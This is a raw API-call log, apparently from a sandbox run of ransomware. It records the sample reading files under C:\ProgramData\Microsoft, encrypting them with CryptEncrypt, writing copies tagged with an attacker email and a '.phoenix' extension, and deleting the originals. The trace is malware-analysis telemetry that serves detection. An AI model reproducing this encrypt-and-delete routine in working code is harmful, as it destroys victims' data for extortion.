	[0225.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.692] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.692] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.692] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.707] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.707] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.707] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.707] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.707] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.708] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.800] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.800] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.800] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.800] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Network\\Downloader\\qmgr.db" (normalized: "c:\\programdata\\microsoft\\network\\downloader\\qmgr.db"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.824] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.824] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.864] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=28859) returned 1
	[0225.864] CloseHandle (hObject=0x2e8) returned 1
	[0225.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml")) returned 0x20
	[0225.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0225.865] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.865] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2444) returned 1
	[0225.865] CloseHandle (hObject=0x2e8) returned 1
	[0225.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml")) returned 0x20
	[0225.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.865] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.866] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0225.866] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0225.866] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.871] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0225.871] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0225.871] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x98c, lpOverlapped=0x0) returned 1
	[0225.987] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x990, dwBufLen=0x990 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x990) returned 1
	[0225.987] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x990, lpOverlapped=0x0) returned 1
	[0225.988] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0225.988] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0225.988] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0225.988] CryptDestroyKey (hKey=0x151640) returned 1
	[0225.988] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0225.988] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0225.988] CloseHandle (hObject=0x2e8) returned 1
	[0225.988] CloseHandle (hObject=0x2c4) returned 1
	[0225.989] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\customizations.xml")) returned 1
	[0225.990] SetEvent (hEvent=0x298) returned 1
	[0225.990] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0225.990] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.990] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=271) returned 1
	[0225.990] CloseHandle (hObject=0x2c4) returned 1
	[0225.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml")) returned 0x20
	[0225.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0225.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0225.991] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0225.991] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0225.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0225.991] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0225.991] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0225.991] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x10f, lpOverlapped=0x0) returned 1
	[0225.992] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0225.992] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0225.993] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0225.993] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0225.993] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0225.993] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0225.993] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0226.011] CryptDestroyKey (hKey=0x151200) returned 1
	[0226.011] CloseHandle (hObject=0x2c4) returned 1
	[0226.011] CloseHandle (hObject=0x2e8) returned 1
	[0226.012] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml")) returned 1
	[0226.013] SetEvent (hEvent=0x298) returned 1
	[0226.013] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.013] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.014] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=579) returned 1
	[0226.014] CloseHandle (hObject=0x2e8) returned 1
	[0226.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml")) returned 0x20
	[0226.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.014] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.014] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.015] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151440) returned 1
	[0226.015] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.015] ReadFile (in: hFile=0x2e8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x243, lpOverlapped=0x0) returned 1
	[0226.016] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x250, dwBufLen=0x250 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x250) returned 1
	[0226.016] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x250, lpOverlapped=0x0) returned 1
	[0226.017] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151140) returned 1
	[0226.017] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.017] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0226.017] CryptDestroyKey (hKey=0x151140) returned 1
	[0226.017] WriteFile (in: hFile=0x2c4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0226.017] CryptDestroyKey (hKey=0x151440) returned 1
	[0226.017] CloseHandle (hObject=0x2e8) returned 1
	[0226.017] CloseHandle (hObject=0x2c4) returned 1
	[0226.019] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml")) returned 1
	[0226.021] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0226.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.021] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=1284) returned 1
	[0226.021] CloseHandle (hObject=0x2c4) returned 1
	[0226.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml")) returned 0x20
	[0226.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0226.021] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.021] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0226.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0226.033] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0226.033] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.033] ReadFile (in: hFile=0x2c4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x504, lpOverlapped=0x0) returned 1
	[0226.082] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x510, dwBufLen=0x510 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x510) returned 1
	[0226.082] WriteFile (in: hFile=0x2e8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x510, lpOverlapped=0x0) returned 1
	[0226.083] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0226.083] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0226.083] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
